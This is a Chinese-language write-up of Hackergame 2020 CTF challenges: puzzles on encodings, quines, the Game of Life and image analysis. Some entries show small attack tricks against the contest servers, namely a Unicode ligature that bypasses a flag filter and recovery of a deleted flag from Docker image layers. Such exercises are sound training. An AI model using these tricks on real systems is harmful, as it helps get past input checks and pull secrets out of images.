Hackergame 2020 Writeup

签到

1
2
3
4
5
6
7
8
9
10
11
12
13
谢邀,利益相关:老签到出题人了。

今年出题组的要求是「来参加我们比赛的同学很多都是初学者,我们的签到题要清晰明确一点,让同学们轻松签到。」

我完全明白了,签到题就是送 flag,送就送,我最会送了.jpg

首先写好题目介绍:「你需要点击下面蓝色的 “打开/下载题目” 按钮,在打开的网页上获取到形如 flag{...} 的 flag,回到本页面,将其完整填写到下面的文本框中,并点击灰色的 “提交” 按钮即可完成本题。」

然后写一个 flag 提取器,选手要多少个 flag,我就给多少个 flag,绿色背景,红色加粗,显眼的位置,标准的格式,这都不叫送,那还有什么叫做送。

点击 「打开/下载题目」 按钮,打开 flag 提取器,获取第一个 flag 吧!

提示:完成题目遇到困难?你可以参考 2018 年签到题题解 与 2019 年签到题题解。

http://202.38.93.111:10000/?number=1

1
flag{hR6Ku81-HappyHacking2020-fc3b2c72b3}

猫咪问答++

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
1. 以下编程语言、软件或组织对应标志是哺乳动物的有几个?
Docker,Golang,Python,Plan 9,PHP,GNU,LLVM,Swift,Perl,GitHub,TortoiseSVN,FireFox,MySQL,PostgreSQL,MariaDB,Linux,OpenBSD,FreeDOS,Apache Tomcat,Squid,openSUSE,Kali,Xfce.
提示:学术上一般认为龙不属于哺乳动物。
答案 12

2. 第一个以信鸽为载体的 IP 网络标准的 RFC 文档中推荐使用的 MTU (Maximum Transmission Unit) 是多少毫克?
提示:咕咕咕,咕咕咕。
答案 256

3. USTC Linux 用户协会在 2019921 日自由软件日活动中介绍的开源游戏的名称共有几个字母?
提示:活动记录会在哪里?
答案 9

4. 中国科学技术大学西校区图书馆正前方(西南方向) 50 米 L 型灌木处共有几个连通的划线停车位?
提示:建议身临其境。
答案 9

5. 中国科学技术大学第六届信息安全大赛所有人合计提交了多少次 flag?
提示:是一个非负整数。
答案 17098

2048

永不放弃!
1
2

要实现 FLXG,你需要过人的智慧,顽强的意志,和命运的眷属。只有在 2048 的世界里证明自己拥有这些宝贵的品质,实现「大成功」,你才有资格扛起 FLXG 的大旗。

抓包发现/getflxg?my_favorite_fruit=

盲猜水果得flag

正解是看源码,其中有提示

1
2
3
4
<!--
changelog:
- 2020/10/31 getflxg @ static/js/html_actuator.js
-->

查看html_actuator.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
function HTMLActuator() {
this.tileContainer = document.querySelector(".tile-container");
this.scoreContainer = document.querySelector(".score-container");
this.bestContainer = document.querySelector(".best-container");
this.messageContainer = document.querySelector(".game-message");
this.sharingContainer = document.querySelector(".score-sharing");

this.score = 0;
}

HTMLActuator.prototype.actuate = function (grid, metadata) {
var self = this;

window.requestAnimationFrame(function () {
self.clearContainer(self.tileContainer);

grid.cells.forEach(function (column) {
column.forEach(function (cell) {
if (cell) {
self.addTile(cell);
}
});
});

self.updateScore(metadata.score);
self.updateBestScore(metadata.bestScore);

if (metadata.terminated) {
if (metadata.over) {
self.message(false); // You lose
} else if (metadata.won) {
self.message(true); // You win!
}
}

});
};

// Continues the game (both restart and keep playing)
// Continues the game (both restart and keep playing)
HTMLActuator.prototype.continueGame = function () {
this.clearMessage();
};

HTMLActuator.prototype.clearContainer = function (container) {
while (container.firstChild) {
container.removeChild(container.firstChild);
}
};


HTMLActuator.prototype.addTile = function (tile) {
var text = new Array();
text[1] = "红专并进"
text[2] = "理实交融"
text[3] = "永恒东风"
text[4] = "红过九重"
text[5] = "科学高峰"
text[6] = "高到无穷"
text[7] = "某坑势力"
text[8] = "信息安全"
text[9] = "炸毁金矿"
text[10] = "火山喷发"
text[11] = "也西东流"
text[12] = "直通云霄"
text[13] = "太空校区"
text[14] = "大成功"
var self = this;
var text2 = function (n) { var r = 0; while (n > 1) r++, n >>= 1; return r; }

var wrapper = document.createElement("div");
var inner = document.createElement("div");
var position = tile.previousPosition || { x: tile.x, y: tile.y };
var positionClass = this.positionClass(position);

// We can't use classlist because it somehow glitches when replacing classes
var classes = ["tile", "tile-" + tile.value, positionClass];
if (tile.value > 8192) classes.push("tile-super");

this.applyClasses(wrapper, classes);

inner.classList.add("tile-inner");
inner.textContent = text[text2(tile.value)];

if (tile.previousPosition) {
// Make sure that the tile gets rendered in the previous position first
window.requestAnimationFrame(function () {
classes[2] = self.positionClass({ x: tile.x, y: tile.y });
self.applyClasses(wrapper, classes); // Update the position
});
} else if (tile.mergedFrom) {
classes.push("tile-merged");
this.applyClasses(wrapper, classes);

// Render the tiles that merged
tile.mergedFrom.forEach(function (merged) {
self.addTile(merged);
});
} else {
classes.push("tile-new");
this.applyClasses(wrapper, classes);
}

// Add the inner part of the tile to the wrapper
wrapper.appendChild(inner);

// Put the tile on the board
this.tileContainer.appendChild(wrapper);
};

HTMLActuator.prototype.applyClasses = function (element, classes) {
element.setAttribute("class", classes.join(" "));
};

HTMLActuator.prototype.normalizePosition = function (position) {
return { x: position.x + 1, y: position.y + 1 };
};

HTMLActuator.prototype.positionClass = function (position) {
position = this.normalizePosition(position);
return "tile-position-" + position.x + "-" + position.y;
};

HTMLActuator.prototype.updateScore = function (score) {
this.clearContainer(this.scoreContainer);

var difference = score - this.score;
this.score = score;

this.scoreContainer.textContent = this.score;

if (difference > 0) {
var addition = document.createElement("div");
addition.classList.add("score-addition");
addition.textContent = "" + difference + "";

this.scoreContainer.appendChild(addition);
}
};

HTMLActuator.prototype.updateBestScore = function (bestScore) {
this.bestContainer.textContent = "" + bestScore;
};

HTMLActuator.prototype.message = function (won) {
var type = won ? "game-won" : "game-over";
var message = won ? "FLXG 大成功!" : "FLXG 永不放弃!";

var url;
if (won) {
url = "/getflxg?my_favorite_fruit=" + ('b'+'a'+ +'a'+'a').toLowerCase();
} else {
url = "/getflxg?my_favorite_fruit=";
}

let request = new XMLHttpRequest();
request.open('GET', url);
request.responseType = 'text';

request.onload = function() {
document.getElementById("game-message-extra").innerHTML = request.response;
};

request.send();

this.messageContainer.classList.add(type);
this.messageContainer.getElementsByTagName("p")[0].textContent = message;

this.clearContainer(this.sharingContainer);
this.sharingContainer.appendChild(this.scoreTweetButton());
twttr.widgets.load();
};

HTMLActuator.prototype.clearMessage = function () {
// IE only takes one value to remove at a time.
this.messageContainer.classList.remove("game-won");
this.messageContainer.classList.remove("game-over");
};

HTMLActuator.prototype.scoreTweetButton = function () {
var tweet = document.createElement("a");
var text = "FLXG 分数:" + this.score + " ! ";
tweet.setAttribute("data-text", text);

return tweet;
};

可以发现有url = "/getflxg?my_favorite_fruit=" + ('b'+'a'+ +'a'+'a').toLowerCase();,控制台执行得banana

1
flxg{8G6so5g-FLXG-5fdc5c32f1}

一闪而过的flag

1
2
3
4
5
6
7
深秋清晨,也西湖畔。一位可怜的同学蜷在路边的长椅上,用粗糙的手指敲击着残旧的神船笔记本,反复试图打开桌面上的一个程序。程序每次运行时隐约可见黑色控制台上有 flag 一闪而过。

在他的脚边搭着一块用废弃纸箱剪成的牌子,上面写着「我很可爱,请给我 flag」。路上的人行色匆匆,而那地上用来盛 flag 的饭盒依旧空空如也。

一位诗人同学路过,见此情景,遂把牌子改成了:「flag 来了,可是我什么也看不见!」

而你作为一名新生,不由动了恻隐之心。望着诗人潇洒远去的背影,你可以赶在下午诗人回来之前,帮助这位可怜的人,用 flag 装满他的饭盒吗?

拼手速

1
flag{Are_you_eyes1ght_g00D?_can_youdIst1nguish_1iI?}

从零开始的记账工具人

1
2
3
4
5
6
7
如同往常一样,你的 npy 突然丢给你一个购物账单:“我今天买了几个小玩意,你能帮我算一下一共花了多少钱吗?”

你心想:又双叒叕要开始吃土了 这不是很简单吗?电子表格里面一拖动就算出来了

只不过拿到账单之后你才注意到,似乎是为了剁手时更加的安心,这次的账单上面的金额全使用了中文大写数字

注意:请将账单总金额保留小数点后两位,放在 flag{} 中提交,例如总金额为 123.45 元时,你需要提交 flag{123.45}

excel玩到飞起

1
flag{18596.05}

超简单的世界模拟器

1
2
3
4
5
6
7
8
9
你知道生命游戏(Conway's Game of Life)吗?

你的任务是在生命游戏的世界中,复现出蝴蝶扇动翅膀,引起大洋彼岸风暴的效应。

通过改变左上角 15x15 的区域,在游戏演化 200 代之后,如果被特殊标注的正方形内的细胞被“清除”,你将会得到对应的 flag:

“清除”任意一个正方形,你将会得到第一个 flag。同时“清除”两个正方形,你将会得到第二个 flag。

注: 你的输入是 15 行文本,每行由 15 0 或者 1 组成,代表该区域的内容。

根据康威生命游戏的介绍

约翰·康威最常被专业人士和大众拿来讨论的成果,就是他在1970年发明的生命游戏,Game of Life。它的意义在于验证了某些科学家的宇宙观,即最简单的逻辑规则能产生出复杂有趣的活动。
康威生命游戏在方格网上进行,有点像围棋。有填充的网格代表有生命,或理解成一个细胞,再或者按中国传统,把填充和无填充理解成“有”和“无”。游戏规则只有四条:
1 当周围仅有1个或没有存活细胞时, 原来的存活细胞进入死亡状态。(模拟生命数量稀少)
2 当周围有2个或3个存活细胞时, 网格保持原样。
3 当周围有4个及以上存活细胞时,原来的存活细胞亦进入死亡状态。(模拟生命数量过多)
4 当周围有3个存活细胞时,空白网格变成存活细胞。(模拟繁殖)
“种子”长成“花朵”,“花朵”死后留下四个“种子”
康威生命游戏的四条规则一目了然地对应着宇宙中的生命规律,它是一种元胞自动机(cellular automaton),体现了冯·诺依曼(Von Neumann)关于机器自我进化的思想。

蝴蝶效应

做一个轻型飞船

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
000000000000000
000000000000000
000010010000000
000000001000000
000010001000000
000001111000000
000000000000000
000000000000000
000000000000000
000000000000000
000000000000000
000000000000000
000000000000000
000000000000000
000000000000000

1
flag{D0_Y0U_l1k3_g4me_0f_l1fe?_4b4c228d57}

一石二鸟

这个本想构造一个,最后发现还是要爆破

1
2
3
4
5
6
import random
for k in range(15):
tmp = ''
for i in range(15):
tmp += str(random.randint(0,1))
print(tmp)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
100010011011110
111110100111001
100010001011010
010000101000101
100100011000000
001100111001011
000100000101010
101010010011101
101010100000001
010010101000100
111011111010110
100000010111001
000001000110001
000001011110001
110010011111011

1
flag{1s_th3_e55ence_0f_0ur_un1ver5e_ju5t_c0mputat1on?_ca859d7272}

从零开始的火星文生活

1
2
3
4
5
6
7
8
9
10
一年一度的 Hackergame 就要到了,L 同学打算叫上 Q 同学一起去参加,却一连几天都见不到 Q 同学的人影。然而在比赛开始的前一天晚上却收到了来自 Q 同学的邮件:

Subject: 绝密!不要外传!!!
Body: 详情见附件
From: Q
L 同学打开附件一看,傻眼了,全都是意义不明的汉字。机智的 L 同学想到 Q 同学平时喜欢使用 GBK 编码,也许是打开方式不对。结果用 GBK 打开却看到了一堆夹杂着日语和数字的火星文……

L 同学彻底懵逼了,几经周折,TA 找到了科大最负盛名的火星文专家 (你)。依靠多年的字符编码解码的经验,你可以破译 Q 同学发来的火星文是什么意思吗?

注:正确的 flag 全部由 ASCII 字符组成!

编码问题

1
2
3
4
5
6
export LC_ALL="en_US.UTF-8"; cat gibberish_message.txt  | iconv -f utf-8 -t gbk | iconv -f utf-8 -t latin1 | iconv -f gbk -t utf-8

我攻破了 Hackergame 的服务器,偷到了它们的 flag,现在我把 flag 发给你:
flag{H4v3_FuN_w1Th_3nc0d1ng_4Nd_d3c0D1nG_9qD2R8hs}
快去比赛平台提交吧!
不要再把这份信息转发给其他人了,要是被发现就糟糕了!
1
flag{H4v3_FuN_w1Th_3nc0d1ng_4Nd_d3c0D1nG_9qD2R8hs}

自复读的复读机

1
2
3
4
5
6
7
8
9
10
11
12
13
能够复读其他程序输出的程序只是普通的复读机。

顶尖的复读机还应该能复读出自己的源代码。

什么是国际复读机啊(战术后仰)

你现在需要编写两个只有一行 Python 代码的顶尖复读机:

其中一个要输出代码本身的逆序(即所有字符从后向前依次输出)
另一个是输出代码本身的 sha256 哈希值,十六进制小写
满足两个条件分别对应了两个 flag。

快来开始你的复读吧~

反向复读

1
s='s=%r;b=s%%s;print(b[::-1],end="")';b=s%s;print(b[::-1],end="")

1
flag{Yes!_Y0U_h4v3_a_r3v3rs3d_Qu1ne_852b753dda}

哈希复读

1
import hashlib;m=hashlib.sha256();s=b"import hashlib;m=hashlib.sha256();s=%r;m.update(s %% s);print(m.hexdigest(),end='')";m.update(s % s);print(m.hexdigest(),end='')

1
flag{W0W_Y0Ur_c0de_0utputs_1ts_0wn_sha256_ff30376b52}

233 同学的字符串工具

1
2
3
4
5
6
7
8
9
233 同学最近刚刚学会了 Python 的字符串操作,于是写了两个小程序运行在自己的服务器上。这个工具提供两个功能:

字符串大写工具
UTF-7 到 UTF-8 转换工具
除了点击下方的打开题目按钮使用网页终端,你也可以通过 nc 202.38.93.111 10233 命令连接到 233 同学的服务上。你可以在这里看到 233 同学的源代码: string_tool.py。

如果你不知道 nc 是什么,或者在使用上面的命令时遇到了困难,可以参考我们编写的 萌新入门手册:如何使用 nc/ncat?

读了代码之后,你惊讶地发现自己似乎可以通过构造特殊输入,使得 233 同学的工具返回 flag。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
import re

def to_upper(s):
r = re.compile('[fF][lL][aA][gG]')
if r.match(s):
print('how dare you')
elif s.upper() == 'FLAG':
print('yes, I will give you the flag')
print(open('/flag1').read())
else:
print('%s' % s.upper())

def to_utf8(s):
r = re.compile('[fF][lL][aA][gG]')
s = s.encode() # make it bytes
if r.match(s.decode()):
print('how dare you')
elif s.decode('utf-7') == 'flag':
print('yes, I will give you the flag')
print(open('/flag2').read())
else:
print('%s' % s.decode('utf-7'))

def main():
print('Welcome to the best string tool here!')
print('Brought to you by 233 PROUDLY')
print('')
print('Which tool do you want?')
print('1. Convert my string to UPPERCASE!!')
print('2. Convert my UTF-7 string to UTF-8!!')
choice = input()
if choice[0] == '1':
print('Welcome to the capitalizer tool, please input your string: ')
to_upper(input())
elif choice[0] == '2':
print('Welcome to the UTF-7->UTF-8 tool, please input your string: ')
to_utf8(input())
else:
print('I am confused, madam')

main()

字符串大写工具

unicode欺骗,拉丁文小型连字

此特性在python3下才有

flag

1
flag{badunic0debadbad_4c522e0ec2}

编码转换工具

直接用工具转码

1
flag{please_visit_www.utf8everywhere.org_2b7b81f687}

233 同学的 Docker

参考此文章
获取镜像历史构建信息

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
❯ docker history 8b8d3c8324c7/stringtool
IMAGE CREATED CREATED BY SIZE COMMENT
be6d023618d1 2 weeks ago /bin/sh -c #(nop) ENTRYPOINT ["/bin/sh" "-c… 0B
<missing> 2 weeks ago /bin/sh -c rm /code/flag.txt 0B
<missing> 2 weeks ago /bin/sh -c #(nop) COPY dir:c36852c2989cd5e8b… 1.19kB
<missing> 6 weeks ago /bin/sh -c #(nop) WORKDIR /code 0B
<missing> 6 weeks ago /bin/sh -c mkdir /code 0B
<missing> 6 weeks ago /bin/sh -c #(nop) ENV PYTHONUNBUFFERED=1 0B
<missing> 6 weeks ago /bin/sh -c pip3 install pipenv 37.5MB
<missing> 6 weeks ago /bin/sh -c pip3 install bpython 5.08MB
<missing> 6 weeks ago /bin/sh -c pip3 install ipython 23.8MB
<missing> 6 weeks ago /bin/sh -c yum clean all 27.9MB
<missing> 6 weeks ago /bin/sh -c rm -rf /tmp/Python-3.7.3* 0B
<missing> 6 weeks ago /bin/sh -c sed -i 's/python/python2/' /usr/b… 802B
<missing> 6 weeks ago /bin/sh -c pip install --upgrade pip 9.55MB
<missing> 6 weeks ago /bin/sh -c ln -s /usr/local/bin/pip3 /usr/bi… 19B
<missing> 6 weeks ago /bin/sh -c ln -s /usr/local/bin/python3 /usr… 22B
<missing> 6 weeks ago /bin/sh -c rm -f /usr/bin/python 0B
<missing> 6 weeks ago /bin/sh -c make && make install 300MB
<missing> 6 weeks ago /bin/sh -c /tmp/Python-3.7.3/configure 860kB
<missing> 6 weeks ago /bin/sh -c tar -zxvf /tmp/Python-3.7.3.tgz -… 79.3MB
<missing> 6 weeks ago /bin/sh -c wget -O /tmp/Python-3.7.3.tgz htt… 23MB
<missing> 6 weeks ago /bin/sh -c yum -y install mariadb-devel 103MB
<missing> 6 weeks ago /bin/sh -c yum -y install vim 115MB
<missing> 6 weeks ago /bin/sh -c yum -y install gcc 94.8MB
<missing> 6 weeks ago /bin/sh -c yum-builddep python -y 316MB
<missing> 6 weeks ago /bin/sh -c yum -y install wget make yum-utils 92.4MB
<missing> 6 weeks ago /bin/sh -c #(nop) MAINTAINER Software_Engin… 0B
<missing> 2 months ago /bin/sh -c #(nop) CMD ["/bin/bash"] 0B
<missing> 2 months ago /bin/sh -c #(nop) LABEL org.label-schema.sc… 0B
<missing> 2 months ago /bin/sh -c #(nop) ADD file:61908381d3142ffba… 203MB

用docker inspect 获取diff路径:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
❯ docker inspect 8b8d3c8324c7/stringtool
[
{
"Id": "sha256:be6d023618d199e0ec7448f70e5e47a00c6c2b79777ad5e2d312a6f74d6ad56b",
"RepoTags": [
"8b8d3c8324c7/stringtool:latest"
],
"RepoDigests": [
"8b8d3c8324c7/stringtool@sha256:aef87a00ad7a4e240e4b475ea265d3818c694034c26ec227d8d4f445f3d93152"
],
"Parent": "",
"Comment": "",
"Created": "2020-10-16T12:51:09.221320098Z",
"Container": "d2f452fddd5c71c8c57a29d67f29c69ffac419440d57664dad6e4ba1f0eff8a1",
"ContainerConfig": {
"Hostname": "d2f452fddd5c",
"Domainname": "",
"User": "",
"AttachStdin": false,
"AttachStdout": false,
"AttachStderr": false,
"Tty": false,
"OpenStdin": false,
"StdinOnce": false,
"Env": [
"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin",
"PYTHONUNBUFFERED=1"
],
"Cmd": [
"/bin/sh",
"-c",
"#(nop) ",
"ENTRYPOINT [\"/bin/sh\" \"-c\" \"python /code/app.py\"]"
],
"Image": "sha256:828d87af8f668301d5fd16dd11b0dd12d12a7fcaf7d4afef6343600583ab44bc",
"Volumes": null,
"WorkingDir": "/code",
"Entrypoint": [
"/bin/sh",
"-c",
"python /code/app.py"
],
"OnBuild": null,
"Labels": {
"org.label-schema.build-date": "20200809",
"org.label-schema.license": "GPLv2",
"org.label-schema.name": "CentOS Base Image",
"org.label-schema.schema-version": "1.0",
"org.label-schema.vendor": "CentOS",
"org.opencontainers.image.created": "2020-08-09 00:00:00+01:00",
"org.opencontainers.image.licenses": "GPL-2.0-only",
"org.opencontainers.image.title": "CentOS Base Image",
"org.opencontainers.image.vendor": "CentOS"
}
},
"DockerVersion": "19.03.5",
"Author": "Software_Engineering_Project",
"Config": {
"Hostname": "",
"Domainname": "",
"User": "",
"AttachStdin": false,
"AttachStdout": false,
"AttachStderr": false,
"Tty": false,
"OpenStdin": false,
"StdinOnce": false,
"Env": [
"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin",
"PYTHONUNBUFFERED=1"
],
"Cmd": null,
"Image": "sha256:828d87af8f668301d5fd16dd11b0dd12d12a7fcaf7d4afef6343600583ab44bc",
"Volumes": null,
"WorkingDir": "/code",
"Entrypoint": [
"/bin/sh",
"-c",
"python /code/app.py"
],
"OnBuild": null,
"Labels": {
"org.label-schema.build-date": "20200809",
"org.label-schema.license": "GPLv2",
"org.label-schema.name": "CentOS Base Image",
"org.label-schema.schema-version": "1.0",
"org.label-schema.vendor": "CentOS",
"org.opencontainers.image.created": "2020-08-09 00:00:00+01:00",
"org.opencontainers.image.licenses": "GPL-2.0-only",
"org.opencontainers.image.title": "CentOS Base Image",
"org.opencontainers.image.vendor": "CentOS"
}
},
"Architecture": "amd64",
"Os": "linux",
"Size": 1430524643,
"VirtualSize": 1430524643,
"GraphDriver": {
"Data": {
"LowerDir": "/var/lib/docker/overlay2/1c22f6d1be1c5f159ae141ae33d6284f973f722cc80aa74b5ffa7de9a6322e77/diff:/var/lib/docker/overlay2/1e618961bdc9cb3eb366165f19add1abbe9980174f7c73dc5830524e4ce2729d/diff:/var/lib/docker/overlay2/8f53938c5d7bbc5e3503fb6595247bd110882a82e1797ded69d3883c42fd10d3/diff:/var/lib/docker/overlay2/d6408a83c9f0f2371cfc340a8e2b1fe592ea232a56be59793ca2deb7ca6900f8/diff:/var/lib/docker/overlay2/bc03daa35f2506e04ebe586715b2fd93240530d04f199e3559d4289d086c78b3/diff:/var/lib/docker/overlay2/43bfdf1dc08adb716e59dc904193fa8df230df58a73fb9b74cd49ee940057ec0/diff:/var/lib/docker/overlay2/20a8f59f4fc8e1011b352de7faf3c77a3353eb4273928935e1b12aefbb9d30e6/diff:/var/lib/docker/overlay2/f589fa462dbd41f01f08a910c8b471b5ef8be9b88c64c50731cc51257c08196d/diff:/var/lib/docker/overlay2/be3eef0a4f17e4c3abbb92c2f334d971f92f3becdbefa8a0f5b3099278151c33/diff:/var/lib/docker/overlay2/46769f469e8ccdf86792eaee74768d918a86168e574c9667252459d5e2230ae0/diff:/var/lib/docker/overlay2/7ee677257476fde0b6a2f1d97cfdaec48fc1ea9da6de57951e06760ee6838cc1/diff:/var/lib/docker/overlay2/69580c6cf3b5fc53ac855ce0d0fcda3648c3f5b73c50c19d65a5e2c80d4e8fc2/diff:/var/lib/docker/overlay2/f33f7a05cdfd9abb6651cba76a9c781f5043cc2f0b063306b0a92c7a3d069246/diff:/var/lib/docker/overlay2/0743213160cfe0b9e68ff50fb57a9813fc25db059e3dff43d40fd3eff508f509/diff:/var/lib/docker/overlay2/7676587944b5c9266c202d09436959a1403d8820a55ac45948e45285f16d5c5c/diff:/var/lib/docker/overlay2/e6f405969d4acd7c40fbe3276c34082604bb948cd9d96abb63a1e52d0ac46645/diff:/var/lib/docker/overlay2/acc2de21befa7bde3ffd170dbf8d579fad0de0069885715b3002c8a253da34e4/diff:/var/lib/docker/overlay2/eb2cec4e01d43e97da95a11e9cdc98eb69063f9ca2bf7776601e07bea567c7cb/diff:/var/lib/docker/overlay2/2922f0ebab071ce6f45899277473b777cc37519f7b2307a1e077aa6630d34bd0/diff:/var/lib/docker/overlay2/8b792225b4c36ab5239b73eda5eeafda4d42655005dfa9feb087a35829e5c8ac/diff:/var/lib/docker/overlay2/ad1fd7d6d76c0fada56311cc27c1c88840769c70abf9adb819ee4f9a5b031ea7/diff:/var/lib/docker/overlay2/6e9cce528d1860ded9b3b523de7736283e360f11c83d7177ae2464f7efbef08f/diff",
"MergedDir": "/var/lib/docker/overlay2/9d10fc31bf559ee568db98c2ac7c8d38fec06caf1aa162d7cc0cfea532c32d68/merged",
"UpperDir": "/var/lib/docker/overlay2/9d10fc31bf559ee568db98c2ac7c8d38fec06caf1aa162d7cc0cfea532c32d68/diff",
"WorkDir": "/var/lib/docker/overlay2/9d10fc31bf559ee568db98c2ac7c8d38fec06caf1aa162d7cc0cfea532c32d68/work"
},
"Name": "overlay2"
},
"RootFS": {
"Type": "layers",
"Layers": [
"sha256:613be09ab3c0860a5216936f412f09927947012f86bfa89b263dfa087a725f81",
"sha256:107f3d157b844e4fe0e76f5cd1e4aa2a8000d08cd126b0209c06be16447fba24",
"sha256:6f1859008f13b13e8332647ce2aa9d4682d1b632d2bfc9a8610279a3386afe1e",
"sha256:9f7b61c057ea748e46a6cf0003162e8d2c4565677b7996bbbad7a6c9fd179af6",
"sha256:f1a9718369d5d4ee861ce99d493bf5a99b0196713db2f197c6be4566f1c8da8a",
"sha256:44d7fe2e0b5f86c6aa4f3318cc7c345b9aa567059286318e1acb817b4bce427b",
"sha256:a3a7c0789b31a81a62032f733348d107c41b35bad602d48079803204cae3b453",
"sha256:445667ee1e9c3e35c18040c2a3ac158e12c05600bb0cb3853cb044ffa2205d77",
"sha256:b069a51c94ae2334aac99237c5ba861d886f835381a131145e7a000caa020a34",
"sha256:6ce43b7cb7768d0d62c179d927cab9447e5f419c6b25376c10d07c2784be2b9d",
"sha256:6f70066bfb26ba39944e087997acfe563f59ab506db041440313f0b35a305099",
"sha256:85e03ff614924958b01c6b53e570d565335967c73e2f4a52e506c8f08784b57e",
"sha256:907c7c3a48c08dfbfd418b543fc1b1fea31b682363f592ce0e85b09fb7a45a24",
"sha256:4f65cf50337415b986f72b47f5c27bfcb69cfb0d1838849e82acfc09180fc1de",
"sha256:ada9169e5563c97d79e08dffdeae7f8fc3f11a643893afe928630bbdbc4f1af0",
"sha256:2cf7518176a8c7234c95c2dbb152615b9ec65e9440a180e03e694fcb8e71bebf",
"sha256:39825329de0d7a0e48f46042382180326b22c9034d4ad059b2435da3535861ad",
"sha256:2b3b691473b36b71f0c80e7167793da9f465c4d3b34dac8d8fc8123e46a6a0c2",
"sha256:b7fa34a429645c5e0fa5579c58cdb46a6dbbcc1d7b30fe9960636df7c6d767a5",
"sha256:75ccccbd8315c710681f72a9f4df9c20f3640284b469fb3834768b875d606625",
"sha256:ba39e17835577c7fa702983e863182c5ea20fb9f9f6827c3cf659fca76aea710",
"sha256:19510b883701c9fc721403d5eb5ddf5935f1db6aeaaad627a1050a349acaf2fb",
"sha256:ce2f773d43eee87d53a828fbcd2daa8e6ae3f0490fbaf616a8aba752839072ff"
]
},
"Metadata": {
"LastTagTime": "0001-01-01T00:00:00Z"
}
}
]

由于不会标层级,一个个查看,找到flag.txt路径

1
2
3
4
5
6
❯ tree /var/lib/docker/overlay2/1c22f6d1be1c5f159ae141ae33d6284f973f722cc80aa74b5ffa7de9a6322e77/diff
/var/lib/docker/overlay2/1c22f6d1be1c5f159ae141ae33d6284f973f722cc80aa74b5ffa7de9a6322e77/diff
└── code
├── app.py
├── Dockerfile
└── flag.txt

查看flag

1
2
❯ cat /var/lib/docker/overlay2/1c22f6d1be1c5f159ae141ae33d6284f973f722cc80aa74b5ffa7de9a6322e77/diff/code/flag.txt
flag{Docker_Layers!=PS_Layers_hhh}
1
flag{Docker_Layers!=PS_Layers_hhh}

从零开始的 HTTP 链接

1
2
3
4
5
众所周知,数组下标应当从 0 开始。

同样的,TCP 端口也应当从 0 开始。为了实践这一点,我们把一个网站架设在服务器的 0 号端口上。

你能成功连接到 0 号端口并拿到 flag 吗?

这题需要用到VPS转发(虚拟机无效),如果没有安装firewall-cmdsocat先进行安装

1
2
❯ apt-get install socat
❯ apt-get install firewalld

socat进行转发

1
2
3
4
5
❯ firewall-cmd --zone=public --add-port=11114/tcp --permanent
success
❯ firewall-cmd --reload
success
❯ socat TCP4-LISTEN:11114,reuseaddr,fork TCP4:202.38.93.111:0

访问VPS

1
flag{TCP_P0RT_0_1s_re5erved_BUT_w0rks_c18e3d94e3}
1
# 来自一教的图片

小 P 在一教做傅里叶光学实验时,在实验室电脑的模拟程序里发现了这么一张的图片:
数理基础并不扎实的小 P 并不知道什么东西成像会是这个样子:又或许什么东西都不是,毕竟这只是模拟 … 但可以确定的是,这些看似奇怪的花纹里确实隐藏着一些信息,或许是地下金矿的藏宝图也未可知。

1
我也不懂,上exp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
import numpy as np
import matplotlib.pyplot as plt

img = plt.imread('q.jpg')
plt.subplot(231),plt.imshow(img),plt.title('picture')
img = 0.2126 * img[:,:,0] + 0.7152 * img[:,:,1] + 0.0722 * img[:,:,2]
plt.subplot(232),plt.imshow(img,'gray'),plt.title('original')
fft2 = np.fft.fft2(img)
plt.subplot(233),plt.imshow(np.abs(fft2),'gray'),plt.title('fft2')
shift2center = np.fft.fftshift(fft2)
plt.subplot(234),plt.imshow(np.abs(shift2center),'gray'),plt.title('shift2center')
log_fft2 = np.log(1 + np.abs(fft2))
plt.subplot(235),plt.imshow(log_fft2,'gray'),plt.title('log_fft2')
plt.show()


1
flag{Fxurier_xptics_is_fun}

超简陋的 OpenGL 小程序

1
2
3
年轻人的第一个 OpenGL 小程序。

(嗯,有什么被挡住了?)
1
flag{glGraphicsHappy(233);}

生活在博弈树上

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
现代人工智能以埃米尔·博雷尔的“让一只猴子在打字机上随机地按键,当按键时间达到无穷时,几乎必然能够打出任何给定的文字,比如莎士比亚的全套著作。”为嚆矢。滥觞于哲学与数学的期望正失去它们的借鉴意义。但面对看似无垠的未来天空,我想循约翰·冯·诺伊曼“年轻人,在数学中你不理解事情,你只是习惯它们。”好过过早地振翮。

